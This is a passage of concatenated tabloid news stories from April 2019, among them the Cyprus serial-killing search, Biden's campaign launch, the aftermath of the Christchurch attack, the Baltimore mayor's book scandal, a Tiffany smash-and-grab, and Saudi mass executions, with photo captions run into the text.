search focused on two lakes southwest of Nicosia where the suspect allegedly confessed to having dumped the bodies. Since April 14, the police have recovered three bodies, all Filipina domestic workers. The stepped-up search at the lakes - water-filled craters of former mines now normally used as picnic sites in the foothills of the Troodos mountains - coincided with the day that Greek Cypriots mark the Orthodox Good Friday. Cyprus fire chief Marcos Trangolas was at the roped-off crime scene at Memi Lake in Xyliantos to follow up on the search along with several high-level police and intelligence officials. A sole diver connected to an air hose was sent in, descending into the deep emerald-green waters filling the crater. Firefighters and Investigators search the manmade lake near the village of Xiliato for the remains of more victims outside Nicosia on Friday Investigators were seen diving down into the manmade lake on Friday in the search for suspected victims Cyprus police intensified their searches today for more victims at locations where an army officer, who authorities say killed five women and two girls, had dumped their bodies Cypriot police are pictured guarding the search site with a cordon. The case came to light after a German tourist taking photographs of the mine spotted the first body 'We are searching specific places that the camera, the robot camera, didn't have a clear picture (of). So we are searching step-by-step with divers,' the fire chief's spokesman Andreas Kettis told AFP. The mines-turned-lakes are swollen after record rainfall in Cyprus this winter, posing an extra challenge for investigators. 'If you assume that when the suspect came here the water (level) was down perhaps more than five metres... it differentiates the scene from before,' said Kettis. The locations of the searches were based on information given to police, he added. Police in Cyprus are pictured searching a mine in Mitsero village, near the capital Nicosia. The mines-turned-lakes are swollen after record rainfall in Cyprus this winter Since April 14, the police have recovered three bodies, all Filipina domestic workers. The stepped-up search at the lakes - water-filled craters of former mines now normally used as picnic sites. A mine in Mitsero village that authorities are searching is pictured above The suspect was earlier at the site with police as they worked in tandem with a specialised diving company to locate and recover the bodies. At the other crime site at Red Lake in Mitsero, a ten-minute drive away, Kettis said robotic equipment might also be sent in to search its acidic, copper-colluded waters. Police sources have said authorities are looking into cases involving an Asian woman as well as that of a Romanian mother and her young daughter reported missing in 2016. The suspect on Thursday showed investigators the spot where he had dumped a body in a well at an army firing range outside the capital. Local media have dubbed the case the island's 'first serial killings' after two bodies, both believed to be Filipinas, were recovered from an abandoned mineshaft since mid-April. Investigators on a boat use a camera to search for a body in a lake near Xiliatos, after authorities found two bodies in a flooded mineshaft on Monday Men stand and watch the investigators by a flooded mineshaft where two female bodies were found on Monday Police and rescue vehicles investigate the area where the body of a woman was discovered near the village of Orounta on Thursday The case came to light after a German tourist taking photographs of the mine spotted the first body, brought to the surface of the 150-metre (500-foot) shaft which flooded after unusually heavy rains. President Nicos Anastasiades, in a statement issued by the palace on Friday, condemned 'these hideous crimes' against foreign women. 'Shocked by the revelation of so many shameful murders against innocent foreign women and young children,' the president said, expressing 'deepest sorrow and strong concern'. 'He also acknowledges the indignation of Cypriot society over murders that seem to have selectively targeted foreign women in our country to work, as this is contrary to the tradition and values of our culture,' his office said. Local media have dubbed the case the island's 'first serial killings' after two bodies, both believed to be Filipinas, were recovered from an abandoned mineshaft since mid-April. Forensic police are pictured searching Memi Lake in the village of Xyliantos, near Nicosia The suspect was earlier at the site with police as they worked in tandem with a specialised diving company to locate and recover the bodies. The site in Misero village is pictured above Earlier police sources said he confessed to killing five women and two girls. All but one of the women was of Asian descent and he met at least two on dating websites. Police are searching a mine near Mitsero village, above The news website Kathimerini Cyprus wrote a 'letter of apology' to the victims' families, and said the killings were a crime against the victims as well as 'against the country', denouncing 'xenophobic tendencies and racist behaviours'. Police said five British law enforcement officials, including a coroner, a clinical psychiatrist and investigators who specialize in cases involving multiple homicides, are coming to Cyprus to help with the investigation. Activists who work to support immigrants to Cyprus have criticized the police force, alleging the department dragged its feet when the two women whose bodies were found in the mine-shaft were reported missing nearly a year ago. Police spokesman Andreas Angelides defended the force's actions. He told private TV station Sigma that Cypriot lawmakers turned down a police request last year for a law that would authorize law enforcement officers to access the personal data of missing persons. Fire Service Chief Marcos Trangolas said divers finished exploring the mine-shaft and plan to move the search for the missing girl Friday to a reservoir around five miles away from the mine-shaft. Joe Biden claims world leaders begged him to 'save the world' from Donald Trump as he entered the race for the White House yesterday. The former vice-president made the claims in a call to campaign donors yesterday as he announced he was joining the field of 20 Democrats vying for the presidency. 'I get calls from people all over the world. World leaders are calling me, and they're almost begging me to do this, to save the country, save the world,' Biden said according to Politico. Scroll down for video Biden claimed in a call to donors on Thursday that he had been asked by several world leaders to 'save the world' from President Trump Biden has been frantically garnering support from donors with flights around the US because of his late entry to the race. But the former VP, who has twice failed in attempts to become President in 1988 and 2008, is said to have support from several figures in Europe after they praised him during the Munich Security Conference in February. 'His name has a favourable ring in European ears,' the former Swedish prime minister Carl Bildt said. While Anders Fogh Rasmussen, the former Nato secretary- general, was also said to have encouraged him to run for President. Biden unveiled his campaign on Thursday morning with a slick video in which he declared: 'We are in the battle for the soul of this nation.' 'Everything that has made America America is at stake,' Biden continued, casting Trump's presidency as akin to the rise of Nazism in 1930s Germany and promising to restore 'who we are'. President Donald Trump has dismissed Joe Biden's vow to 'battle for the soul' of the nation, saying that the country was more divided during the Obama administration Its an illustration of how political campaigns in America have changed that a few hours after launching his Presidential campaign online, Joe Biden is not at a huge launch party but sitting quietly on a train to New York with just a handful of aides pic.twitter.com/yMHFWsKoA3 Paul Danahar (@pdanahar) April 25, 2019 Trump dismissed Biden's campaign theme, touting his own accomplishments in the realm of the economy and military funding. 'When Biden makes the statement talking about the 'soul' - I mean the soul, take a look at Obama,' Trump said. 'People forget there was tremendous division during Obama administration, tremendous division. We actually have great spirit right now,' Trump continued. Biden's campaign announcement, long expected, makes him the official front-runner for the 2020 Democratic presidential nomination, with most polls showing the 76-year-old leading Senator Bernie Sanders, 77. Biden faces a formidable field of 19 opponents, however, the largest field to ever seek the nomination for a major U.S. party. Hours after announcing his campaign, Biden was pictured sitting casually on an Amtrak train in a photo which soon went viral on Twitter. Biden, known by some as 'Amtrak Joe;, can be seen sitting near aides on a train as they headed to New York, according to tweets shared by BBC North America bureau chief Paul Danahar. He has reportedly travelled by Amtrak for years, commuting between his home in Wilmington, Delaware and Washington DC. A group of Pentecostal Christians have rallied outside the mosque which was the main site of the Christchurch terror attacks to declare the city and country 'belong to Jesus Christ, who is the one true God.' The religious activists set up outside Al-Noor mosque - where 42 of the 50 victims of the massacre were killed - before broadcasting their message through a loudspeaker on Thursday afternoon. The group included members from Destiny Church, a Pentecostal fundamentalist Christian movement based in Auckland. Senior pastor Derek Marina Tait, who was present on the day, said the gathering was to reaffirm the country was of the Christian faith. A mob of Pentecostal Christians rallied outside Christchurch's Al Noor Mosque (pictured) on Thursday to declare 'Jesus Christ is the true God' Senior pastor Derek Marina Tait (pictured), who was present on the day, said the gathering was to reaffirm the country was of the Christian faith 'The purpose was to stand out in the open and to declare Christchurch and New Zealand belongs to Jesus Christ, who is the one true god,' he told Stuff. Tait said he felt the need to make the declaration after the Muslim call to prayer was broadcast during a memorial to remember the victims of the Christchurch terror attack. On March 22, just a week after self-confessed white supremacist Brenton Tarrant stormed the Al Noor mosque and shot dead 50 people, New Zealand came to a standstill to remember the victims. Mourners gathered at Hagley Park opposite the Al Noor Mosque. An Islamic call to prayer was broadcast through the airwaves and Prime Minister Jacinda Ardern called for compassion during the dark time. Tait was present on the day and said he refrained from taking part in the prayer. 'Our Prime Minister declared we could say a Muslim prayer out in public and over the airwaves,' he told NZ Herald. 'I was in that actual prayer meeting... I respectfully stood, but did not say the prayer.' Members of the Destiny Church affiliate groups Man Up and Legacy Group were also present on the day. Only the day before the service, Destiny Church leader Brian Tamaki tweeted his objection broadcasting the call to prayer. 'PM Jacinda Ardern has abused her Prime Ministerial Decree in allowing "Allah as the Only True God" to be sounded in Muslim prayer across the air waves in our nation tomorrow,' he wrote. Mourners gathered at Hagley Park opposite the Al Noor Mosque (pictured) - one of the sites of the shooting 'This is offensive to all true Christians in Aotearoa. Our national identity is at stake.' Tait said he only found it 'appropriate' to return to the same park where the service was held to reaffirm his faith. 'Because in that very same place the decree was put out by our Prime Minister and the Muslim community to declare that Allah is the one true God, which I emphatically disagree with.' Passerby Jordan Healey said he was disgusted by the sight and said it was wrong to use the mass shooting as a 'grandstanding platform to push [their] own ideology.' Though he noted members from the mosque were more than willing to talk to the group on the day and even invited members into their place of worship. Police said the small group were seen singing and preaching before they dispersed. This is the terrifying moment two young lions team up to carry out a fierce attack on an older male in a furious exchange of blows. The footage, filmed by Jonathan Sayaniel, a local to the Maasai Mara National Reserve, shows the two youngsters Maridadi and Kaka confronting Ololparpit, a more experienced lion. Maridadi and Kaka join forces to pin Ololparpit to the ground and swing at him with their paws in the frightening exchange. Two younger lions Mardidadi and Kaka launch a brutal attack on an older, more experienced lion Ololparpit at the Maasai Mara National Reserve in Kenya Mr Sayaniel said: 'If he had lost the battle, Maridadi and Kaka would have almost certainly killed the young cubs in the pride to bring the females back for mating.' Ololparpit survived the attack but is reportedly in 'bad shape' following the ferocious battle. The video shows Maridadi and Kaka joining forces to take down Ololparpit using their powerful jaws and strong paws. After Ololparpit's fierce roar, the two youngsters are deterred and start circling their older counterpart from a distance. Ololparpit survived the fierce attack by the two young lions but he is said to be in 'bad shape' Despite being weakened by the fight, Ololparpit summons a fierce roar to ward off his attackers Then all of a sudden, the attack continues as one of the younger lions leaps at Ololparpit jaws first. Despite being old and weakened, Ololparpit summons a roar that makes Maridadi and Kaka retreta. The footage then appears to show Ololparpit calling out for his partner Obarnoti after the fight. Ololparpit in Maa (Maasai language) means 'the one with a big black hair,' Sayialel said. A New Zealand businessman has pleaded guilty to sharing a livestream video that was recorded by a gunman last month as he killed 50 people at two mosques. Philip Arps pleaded guilty to two counts of distributing the mosque video and will remain in jail until he's sentenced on June 14. He faces a maximum penalty of 14 years in prison. Philip Arps, 44, a New Zealand businessman, has pleaded guilty to two counts of sharing a video of the mosque attack in Christchurch and is now facing 14 years in jail Prosecutors accused the 44-year-old of sending the video, which was streamed live on Facebook, to an unknown person and instructing that person to insert crosshairs and to include a kill count. Prosecutors say he then forwarded the entire 17-minute video to 30 associates. New Zealand's Prime Minister Jacinda Ardern this week said the shooter had used social media in an unprecedented way to promote an act of terrorism and hate. New Zealand's Chief Censor David Shanks banned both the video and a manifesto written by the white supremacist accused of the attack, making it illegal to view, possess or distribute either item in New Zealand. Few objected to the ban on the video, but many argue that banning the manifesto impinges on free speech rights. Arps is one of six people to be charged with sharing the video, which shows worshippers at the Al Noor mosque in Christchurch being shot dead last month At least six people have been charged with illegally sharing the video. Arps and one other person, an 18-year-old, were jailed in March while the other four have not been kept in custody. The 18-year-old suspect is charged with sharing both the video and a still image of the Al Noor mosque where more than 40 people were killed with the words 'target acquired.' He will reappear in court on July 31 when electronically monitored bail will be considered. Australian Brenton Tarrant, 28, has been charged with 50 counts of murder and 39 counts of attempted murder in the attacks. His next court hearing has been scheduled for June 14. Ardern announced this week that she and French President Emmanuel Macron will host a meeting in Paris next month seeking to eliminate acts of violent extremism and terrorism from being shown online. Ardern said she and Macron will ask world leaders and chief executives of technology companies to agree to a pledge called the 'Christchurch Call.' She hasn't release any details of the pledge, saying they are still being developed. A sex attack victim had to give a police officer a lift back to the station after she was interviewed because of a shortage of squad cars. Officers in Scotland have also complained about dilapidated police stations, a shortage of furniture and rat infestations. The rape unit based in Clydebank has ten officers although they are expected to operate with only two cars. Police officers in Scotland have complained about a lack of basic equipment such as cars and office chairs which are impeding them in the ability to provide a service, file photograph Oban Police station was found to have mushrooms growing in a shower room Officers were forced to use towels to cope with leaking radiators which led to mushrooms According to the Daily Record, the woman accompanied the police officer back to the station in her own car so she could pick up a personal protection alarm. The Scottish Police Federation has also issued a damning report about the current situation. Researchers discovered that in Argyll and Dunbartonshire the region's sex offender management unit has only one dedicated car to keep track of more than 100 registered sex offenders. The report claimed: 'Quite simply, this presents considerable risk for the Police Service of Scotland and the wider public.' Some police officers said they had to retrieve office chairs from skips in an effort to replace ones in a worse condition. The Press and Journal found that officers in Oban Police station were forced to use sheets of paper to cover holes in the walls, while mushrooms were found growing on towels in a shower room. The report discovered that Lochgilphead police station has been infested by rats. According to Michael Russell, SNP MSP for Argyll and Bute said: 'This report is very worrying. It is shocking that Oban Police Station has been allowed to deteriorate in this way and I would expect an urgent response from Police Scotland at the most senior level. Others used cardboard and paper to cover up holes in the walls of the police station on Oban An officer in Clydebank had to ask a sex attack victim for a lift back to the station, pictured, because of a shortage of available squad cars Lochgilphead police station, pictured, has been infested by rats 'There needs to be a clear, urgent, plan for something new and clear urgent action to make it happen.' The SPF has also raised concern about the state of Police Scotland's car fleet after two officers were left with 'excruciating headaches' after inhaling suspected fumes in their marked squad car According to the report, two officers required treatment after feeling nauseous while inside the Mitsubishi Outlander while on patrol in Kirkintillock, East Dunbartonshire on Friday April 12. The officers reported smelling exhaust fumes before feeling unwell. Brian Jones, who deals with health and safety at the Scottish Police Federation said: 'There have been concerns raised before that this brand of vehicle but nothing was definitively found. 'However, the officers who were driving that vehicle last weekend had significant issues. 'It made them feel sick and they suffered excruciating headaches. The decision was taken to take that vehicle off the road and the Fleet Manager was contacted straight away. 'Its quite difficult to say whats actually causing the fumes to come from the engine compartment into the seating compartment. The Scottish Police Federation have demanded action to repair the unsafe conditions, pictured 'They havent been able to identify this irrespective of a number of vehicles being off road already or previously. 'From the smell, theyre assuming its exhaust fumes. It may not be. It may be something from the coolant system. We dont know so we can only go with what they believe it is. 'Theyve had exactly the same issues in Aberdeen and in the Scottish Borders with the same type of vehicle. 'Were kind of prodding about in the dark. We can only report what the officers tell us. On this occasion, Police Scotland acted very quickly. 'By the Saturday morning, the vehicle had been taken off the road to ensure that no other officers could be exposed to any risk whatsoever.' Mr Jones said the Mitsubishi Outlanders were being phased out because of their age. New figures showed that 349 police cars suffered a fault last year an increase of 100 on the year before. Deputy Chief Constable Fiona Taylor said: 'Police Scotland has a fleet of more than 3,500 vehicles covering around 70 million miles each year. 'Two of the vehicles in question had faulty components, one has been taken off the road, the other has been repaired. 'The third car was found to have no fault, however this is due to be replaced in the next two weeks. 'All remaining Mitsubishi Outlanders are being checked as a precaution. More than 80 per cent of these vehicles are due for replacement in the next few months, with the remaining cars being of lower mileage.' Street art bearing all the hallmarks of a Banksy piece has appeared in London where Extinction Rebellion protesters have been causing chaos for the last fortnight. The artwork, yet to be confirmed as the infamous street artist's, was spotted early Friday morning in Marble Arch - the base of the climate activists' demonstrations. It features an image of a child holding an Extinction Rebellion sign next to a small plant dug in the ground, with the words: 'From this moment despair ends and tactics begin.' Street art bearing all the hallmarks of a Banksy piece has appeared in London at the base of Extinction Rebellion's recent protests A passerby peers at the familiar work that mysteriously appeared in Marble Arch overnight When a street sweeper cleaned up the west London pavements early on Friday morning, the artwork had appeared on the wall The street art appears to have been daubed on the wall overnight, just as the eco activists closed its 10 days of chaos in the capital. It suggests the world-famous artist has thrown his weight behind the group. More than 1,000 people were arrested by police over the course of the protests that saw eco-warriors blocking off roads and gluing themselves to public transport. More than 10,000 police officers were sent in to deal with the chaos deployed and the Met say that 69 people have been charged. Extinction Rebellion are yet to comment on the suspected Banksy work. Calvin Benson, 48, puts a protective plastic cover over the graffiti this morning to preserve it More than 1,000 people were arrested by police over the course of the protests. Pictured: An eco warrior is removed by police on Waterloo Bridge on April 21 Extintion rebellion protester clean up the speaker's corner at Marble Arch Extinction as their fortnight of havoc came to an end on Thursday It comes a month after the graffiti artist's painting depicting politicians in the House of Commons as chimpanzees went on display in a museum. The artwork, named Devolved Parliament, was originally created in 2009 but went back on show to mark 'Brexit Day'. It has been put on display at Bristol Museum & Art Gallery, with Banksy's permission. The artist clearly felt the painting had renewed relevance after politicians failed to get the UK out of the EU on the original March 29 date. Graffiti artist Banksy has said his piece depicting politicians in the House of Commons as chimpanzees has gone on display at Bristol Museum & Art Gallery in time for March 29 'to mark Brexit day' A photograph of Devolved Parliament (pictured on display in Bristol Museum & Art Gallery) was posted on Banksy's Instagram account on Thursday In 2009, Banksy said of Devolved Parliament: 'You paint 100 chimpanzees and they still call you a guerrilla artist.' It was first shown at Bristol Museum in 2009 as part of the Banksy vs Bristol Museum exhibition. The work was then purchased by an unnamed collector, who has loaned it to the museum to mark a decade since its unveiling. Baltimore's mayor is not mentally or physically stable enough to resign after seven addresses, including her house, were raided by the FBI following $800,000 sales of her book, her lawyer claims. Catherine Pugh, 69, went on sick leave on April 1st the same day investigations began into allegations of corruption when it emerged she had voted for companies to receive investment that had bought copies of her children's book 'Healthy Holly'. The embattled mayor said she needed time off to recover from pneumonia, and her lawyer also said she had later developed bronchitis. Baltimore mayor Catherine Pugh, 69, is not mentally or physically stable enough to decide whether to resign according to her lawyer Steve Silverman The FBI investigates Baltimore mayor Catherine Pugh's home on Ellamont road yesterday Documents were seized from the property along with copies of her book 'Healthy Holly' that is at the center of an investigation into alleged corruption Her lawyer Steve Silverman told The New York Post yesterday: 'She understands the predicament of the city... she just needs to be physically and mentally sound and lucid enough to make decisions. 'She is generally aware that there is a consensus that she should resign. 'For people to make material decisions in their life, they have to be at a certain level of stability.' He also told the Baltimore Sun that he will continue to 'vigorously defend' the mayor, who is 'entitled the presumption of innocence'. It follows a raid on her city hall office, two houses, her business Maryland Center for Adult Training, her attorney's office and the office of one of her aides, Gary Brown Jr. Documents and copies of her book were seized in the first confirmation that federal authorities are also investigating the mayor's activities. The city hall and her offices were also raided as the investigation widened (pictured) Her Baltimore home on Ellamont road was also searched. The mayor's spokesman said he did not have a comment on the situation Mayor Pugh (pictured in June 2018) went on indefinite leave on April 1 amid a scandal related to her $800,000 book deal FBI spokesman Dave Fitz said FBI and IRS agents were 'executing court-authorized search warrants'. Official sources have said, although the mayor's book deals are part of the enquiry, there is 'more to the picture', reports the BBC. The mayors spokesman, James Bentley, said he had no immediate comment. Republican Maryland Governor Larry Hogan called on Pugh to resign. 'Now, more than ever, Baltimore city needs strong and responsible leadership', he told The Baltimore Sun. 'Mayor Pugh has lost the public trust. She is clearly not fit to lead. For the good of the city, Mayor Pugh must resign.' Pugh is accused of corrupt practices in selling her self-published series of children's books to the University of Maryland Medical System and Kaiser Permanente, entities that do business with the city of Baltimore Agents also searched Maryland Center for Adult Training which is one of Pughs businesses FBI agents were captured by TV cameras while they carried out a search of her home Pugh cannot be removed from office unless she is convicted of a crime. It has emerged that the University of Maryland Medical System, where she was on the company's board of directors, paid $500,000 for copies of her book. Healthcare company Kaiser Permanente also paid almost $200,000 for copies of her book, and also received a $48million contract from the city after she voted for it. The Association of Black charities, which contributed $87,000 to help with the book's distribution, also received a $13million deal from Baltimore. In addition, Grant Capital Management revealed it had given $100,000 towards helping the books sales to 'tackle childhood obesity'. Pugh became Baltimore's mayor in 2016. The next year, Baltimore's spending board, which is controlled by the mayor, awarded a $48 million contract to the Kaiser Foundation Health Plan of the Mid-Atlantic States Inc. Kaiser previously held that contract. Freddie O'Driscoll suffered bacterial meningitis, which has left him brain-damaged A baby suffering from meningitis was sent home from hospital after medics told his parents they were overreacting to a chest infection, it is claimed. Following a lumbar puncture, eleven-month-old Freddie O'Driscoll was diagnosed with bacterial meningitis, which has left him brain-damaged and has affected his hearing. But Freddie, now three, had originally been diagnosed with a chest infection and gastroenteritis, and was sent home early next morning on September 22, 2016. The toddler had been taken to Good Hope Hospital in Sutton Coldfield, Birmingham, by ambulance after vomiting, wheezing, having a high temperature and becoming lethargic. Concerned parents Rachel Henderson, 35, and Tyler O'Driscoll, 31, raised concerns that he might have meningitis, but they claim staff told them they were 'overreacting.' Ms Henderson and Mr O'Driscoll, who also have another son Alfie, became concerned about Freddie when he started vomiting and went a grey colour on September 21, 2016. Freddie's condition now means he is unable to rest, preventing sleep and causing behavioural problems. A Serious Incident Report carried out by the hospital found that there was a 'failure to investigate for, and make the diagnosis of, meningitis' during his first admission. The report also found that 'the breakdown in the relationship between Freddie's mother and the clinical staff meant concerns about Freddie's overall condition were not heard.' Concerned parents Rachel Henderson, 35, and Tyler O'Driscoll (pictured) raised concerns that he might have meningitis, but they claim staff told them they were 'overreacting' Freddie's condition now means he is unable to rest, preventing sleep and causing behavioural problems (pictured: Freddie O'Driscoll on September 24, 2016) It added that staff should be reminded to 'remain professional at all times' and stressed 'the need for maintaining good communication and relationships with parents.' Ms Henderson and Mr O'Driscoll, from Tamworth, Staffordshire, have now instructed lawyers to investigate his care at Good Hope Hospital, which is now run by University Hospitals Birmingham NHS Foundation Trust. And Ms Henderson wants to raise awareness about the symptoms of meningitis to prevent other families facing the same heartache. She said: 'There was a poster in A&E about meningitis in babies and we tried to point this out and raise concerns. Ms Henderson and Mr O'Driscoll, from Tamworth, Staffordshire, have now instructed lawyers to investigate his care at Good Hope Hospital (pictured: Freddie) A Serious Incident Report carried out by the hospital found that there was a 'failure to investigate for, and make the diagnosis of, meningitis' during his first admission (pictured: Good Hope Hospital in Sutton Coldfield, West Midlands) 'But we felt like we were just being ignored and we were told we were overreacting. 'Even when we took Freddie back to hospital, it still seemed like we were going round in circles. 'One doctor said it couldn't be meningitis because Freddie didn't have a rash. Thankfully, another doctor thought there was something sinister and arranged antibiotics and further investigations. 'If it wasn't for that doctor, Freddie might not have been here today. 'I am still angry at the way the staff just seemed to be dismissive of us as his parents. Ms Henderson wants to raise awareness about the symptoms of meningitis to prevent other families facing the same heartache (pictured: Freddie O'Driscoll at the time he started to feel unwell) 'I may not be a doctor but I know my son - and I knew there was something seriously wrong with him. 'We face so many challenges now following Freddie's illness but despite this he is the most adorable little boy we could wish for. 'We just hope that by speaking out, people will be aware of the symptoms of meningitis and how important it is for those affected to receive treatment as soon as possible.' A spokesperson for University Hospitals Birmingham NHS Foundation Trust, said: 'The Trust takes its responsibilities for all of its patients very seriously and is always willing to learn from events to improve the care it provides. 'This has included, following an exploration of the care provided to Freddie, a renewed focus on the importance of listening to the concerns of parents of young children and continued awareness of the warning signs for both meningitis and sepsis.' A smash-and-grab gang this morning raided high-end jewellers Tiffany & Co in one of the Capital's most exclusive enclaves. A tipper truck was used to plough through the window and rip it off the wall before the gang ransacked the store in Sloane Street, Knightsbridge, and fled with precious jewels. Police are continuing to hunt for the suspects, who made their getaway on mopeds shortly before 3am, leaving the van embedded in the building. Officers remain at the scene this morning, with footprints visible on the pavement among shards of broken glass. It remains unclear how much was stolen in the raid, but a Scotland Yard spokesman said it was less than 1million pounds. Pictures from inside the scene today show a broken display cabinet and the front window hanging from its frame A tipper truck backed into the store and tipped the window from its frame Thieves used a truck to reverse into the shop front before fleeing with goods A transit van was used to smash into the store before moped raiders snatched items Pictures from inside the store today show a broken display cabinet and the front window hanging from its frame. A property manager for the Sloane Square store said today: 'All I know is a tipper truck backed into it at 2.50 in the morning.' Referring to the reinforced shop front, which officers were also investigating today, he added: 'It would have quite a big, big force.' Police were today taking pictures of at least two sets of footprints left behind. Lisa Smith said her boyfriend had recently bought her 7,000 engagement ring from the store. The 44-year-old: 'I'm shocked, absolutely shocked that such a fundamentally strong security system didn't work. The security system must be absolutely impeccable.' Police are continuing to hunt for the suspects, who made their getaway on mopeds shortly before 3am, leaving the van embedded in the building The raid took place at the high-end store in Sloane Square, west London Footprints remain on the pavement outside the store, with officers combing the area for clues today Construction worker Liam Jones, 17, from Brixton, south west London, said: 'Even if it's Tiffany's, the moped thieves don't care. 'It's not really surprising - once they are on their bikes the police have no chance. I think it's mad how they've done it. 'They pulled it off, good luck to them, it's not right but it's not someone's house. I don't really care.' The footprints left on the pavement outside the smashed front appeared to be have distinctive tread patterns from Nike Air Force and Air Max 97 trainers which are worth between 80 and 130. Tiffany's has been contacted for comment. A Scotland Yard spokesman said: 'Police were called at 02:56hrs on Friday, 26 April to Sloane Street SW1 following reports of a smash and grab at a jewellers. 'A transit van is reported to have driven into the shop front before a number of accompanying mopeds stole a quantity of items from the shop window. 'All those involved then fled. The transit van was left at the scene. No arrests have been made. Enquiries continue.' According to police, a transit van is reported to have driven into the shop front before a number of accompanying mopeds stole a quantity of items from the window The smash-and-grab gang raided top end jewellers Tiffany & Co in west London in the early hours DI David Watkinson from Central CID said: 'This was a brazen and targeted incident which has resulted in a significant amount of items stolen. 'Although the incident took place overnight, it is a busy well-lit area. Did you see the incident take place? Or perhaps you saw any of the vehicles involved, if so we need you get in touch to assist our investigation. 'We are particularly keen to hear from passing motorists who may have captured what took place on dash-cam footage.' MailOnline has contacted Tiffany & Co for comment. A US woman has shared her shock after Sri Lankan police wrongly identified her as a suspect in the Easter Sunday terror attacks. Amara Majeed, a Muslim activist and author from Baltimore, had her face plastered on a flyer with the names and photos of six people wanted in connection with the attacks that killed more than 250. One of the female suspects listed is Abdul Cader Fathima Khadhiya, but the photo that accompanies her name shows Ms Majeed. Sri Lankan authorities have now issued a statement apologizing for the blunder. Amara Majeed, a Muslim activist and author from Baltimore, was wrongly identified as a Sri Lanka terror attack suspect One of the female suspects listed by Sri Lanka police is Abdul Cader Fathima Khadhiya, but this photo that accompanies her name shows Ms Majeed Ms Majeed is an American Muslim who previously hit the headlines in 2013 at the age of 16 when she founded The Hijab Project. Her mission was to encourage both Muslim and non-Muslim women to wear the hijab and share their experiences on social media. Amara Majeed, a Muslim activist and author from Baltimore, was wrongly identified as a Sri Lanka terror attack suspect Her parents are Sri Lankan immigrants and she once wrote an open letter to Donald Trump in 2015 about his rhetoric on Muslims. Taking to Twitter, Ms Majeed said: 'Hello everyone! I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka. 'What a thing to wake up to! This is obviously completely false and frankly, considering that Muslim communities are already greatly afflicted with issues of surveillance, I don't need more false accusations and scrutiny. 'Please stop implicating and associating me with these horrific attacks. And next time, be more diligent about releasing such information that has the potential to deeply violate someone's family and community.' In response, Sri Lankan police on Thursday issued a statement confirming that the photo published alongside the name, Abdul Cader Fathima Khadhiya, was not in fact of the suspect. Ms Majeed took to Twitter to express her shock at being listed as a suspect, before later sharing that police had apologised 'The individual pictured is not wanted for questioning,' the statement signed by police spokesman Ruwan Gunasekera said. However, the actual Abdul Cader Fathima Khadhiya is still wanted for questioning. The blunder comes as the death toll following the terror attacks dropped by 100. Sri Lanka's health chief admitted 'there are so many body parts it is difficult to give a precise figure.' The actual Abdul Cader Fathima Khadhiya is still wanted for questioning, after Sri Lanka police accidentally shared a photo of a different woman alongside her name An original figure of 359 had been given following the Easter Day attack, but now Anil Jasinghe, the director general of Sri Lanka's health services, has revealed that number is incorrect. He said: 'It could be 250 or 260. I can't exactly say. There are so many body parts and it is difficult to give a precise figure.' He was not the only top government official to revise the death toll, with Ruwan Wijewardene, Sri Lanka's deputy defence minister, also confirming a revised death toll. Actor Michael Madsen has reportedly been axed from an upcoming movie because of his recent charge for driving under the influence (DUI). The Reservoir Dogs star was supposedly set to earn $100,000 from a role in Chronicle Of A Serial Killer which is due to begin filming in New York next month. But the 61-year-old potentially faces jail if convicted after he smashed his Land Rover into a pole in Malibu last month. Actor Michael Madsen (pictured in 2015 at the Hollywood Film Awards) has reportedly been axed from an upcoming movie because of his recent charge for driving under the influence The Reservoir Dogs star (pictured in film) was supposedly set to earn $100,000 from a role in Chronicle Of A Serial Killer which is due to begin filming next month But production bosses have decided not to wait for the case's outcome and have already fired Madsen from the cast, according to TMZ sources. The actor, who has appeared in several Quentin Tarantino movies such as Kill Bill, allegedly stank of alcohol and failed a sobriety test after his crash on March 24. His blood alcohol level was measured at 0.10, 0.2 over the legal limit of 0.8, and he was released the following day after posting $15,000 bail. This latest drink driving charge, issued by Los Angeles County District Attorney's Office, comes seven years after Madsen was arrested for the same crime and blew a 0.21 blood alcohol percentage. The actor, who has appeared in several Quentin Tarantino movies (Reservoir Dogs pictured), allegedly stank of alcohol and failed a sobriety test after his crash on March 24. And when he failed to stick to a plea arrangement to go to Alcoholics Anonymous meetings, he was forced into rehab for 30 days. However, his most recent charge could see him behind bars for 364 days if he is found guilty. Executives on Chronicle Of A Serial Killer, which will star Tara Reid and James Russo, have pressed ahead with scrapping Madsen from the film. A hunt is underway for an alleged gunman who boarded a Sydney ferry. There were reports a man had a gun at Manly, in Sydney's Northern Beaches, at 4.30pm on Friday. Witnesses told police he was making threats near the ferry wharf before he is thought to have boarded a ferry into the CBD. 'He's got a gun,' a member of the public reportedly screamed. Police arrived and detained a man at Manly, but he was released after officers determined he was not the alleged gunman. A hunt is underway for an alleged gunman who boarded a Sydney ferry Dramatic footage shows the man pinned to the ground as police frantically searched for a gun. There were then reports the gunman boarded a ferry to Circular Quay. Police stationed themselves at the wharf there, and continued the search when the ferry arrived. Police have been unable to find the man, but investigations continue. Officers remain at Circular Quay and are reviewing the CCTV footage. More to come Mujtaba al-Sweikat was 17 when he was detained at King Fahd International Airport in 2012 - he had been planning on studying in Michigan Victims of a Saudi mass execution pleaded with judges their confessions were false and obtained under torture, trial documents revealed. Of the 37 men beheaded on Tuesday, many had attempted to convince the courts they had been tortured and even pledged their loyalty to King Salman in desperation, court records showed. The body of one of was crucified after his execution and put on public display, according to local media reports. Some of those executed on terror charges included men who were just teenagers when they were arrested for attending protests. Court documents obtained by CNN from trials for 34 of the men showed many had repeatedly denied the veracity of their 'confessions.' Fourteen were convicted of forming a 'terror cell' in the city of Awamiya after anti-government demonstrations in 2011 and 2012. One of the condemned - Munir al-Adam - is recorded as saying: 'Those aren't my words. I didn't write a letter. This is defamation written by the interrogator with his own hand.' Saudi Arabia's interior ministry announced on Tuesday that 37 Saudi nationals had been executed [file photo] Al-Adam was just 23 when he was arrested at a government checkpoint in April 2012. He was beaten on the soles of his feet and had to crawl on his hands and knees for days. As a five-year-old boy he had lost his hearing in one ear following an accident, but after torture he lost hearing in the other and was left totally deaf. The 27-year-old was executed on Tuesday. Two of those beheaded were just 16 and 17 when they were arrested - including one who was set to start a new life in the US at Western Michigan University. Mujtaba al-Sweikat, then 17, was severely beaten all over his body, including on the soles of his feet, before 'confessing' to crimes including attending protests in 2012. In 2017, staff at the university said the English language and pre-finance studies student showed 'great promise' and called for him to be released. Abdulkarim al-Hawaj, 21, was the youngest executed, four years after being arrested in the country's Shia-majority Eastern province for spreading information about protests on WhatsApp. 